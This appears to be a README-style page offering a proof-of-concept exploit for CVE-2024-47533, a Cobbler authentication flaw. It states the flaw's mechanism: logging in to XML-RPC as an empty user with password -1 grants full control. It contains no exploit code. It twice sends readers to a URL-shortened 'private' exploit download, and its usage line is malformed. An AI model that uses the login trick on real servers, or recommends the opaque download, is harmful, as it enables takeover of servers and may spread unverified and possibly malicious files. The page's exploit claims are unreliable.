CVE-2024-47533 PoC — Cobbler 授权问题漏洞

Description

CVE-2024-47533: Improper Authentication (CWE-287)

介绍

# CVE-2024-47533: Improper Authentication (CWE-287)

## Overview

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability. This vulnerability gives anyone with network access to a Cobbler server full control of the server. The impact is severe, as it allows unauthorized access with the highest privileges.

## Details
+ CVE ID: CVE-2024-47533
+ Impact: Critical
+ Exploit Availability: Not public, only private.
+ CVSS: 9.8


## Exploit
**[Download Here](https://bit.ly/3ZcRKBx)**


## Vulnerability Description

The issue lies in the `utils.get_shared_secret()` function, which always returns `-1`. This flaw allows anyone to connect to the Cobbler XML-RPC as user `''` with password `-1` and make any changes.


## Affected Versions

This vulnerability affects versions starting from **3.0.0 and prior to versions 3.2.3 and 3.3.7.**

## Usage

```
pip install requirements.txt
python CVE-2024-47533.py
```


## Exploit
**[Download Here](https://bit.ly/3ZcRKBx)**


## Contact
For inquiries, please contact zetraxz@thesecure.biz

文件快照

备注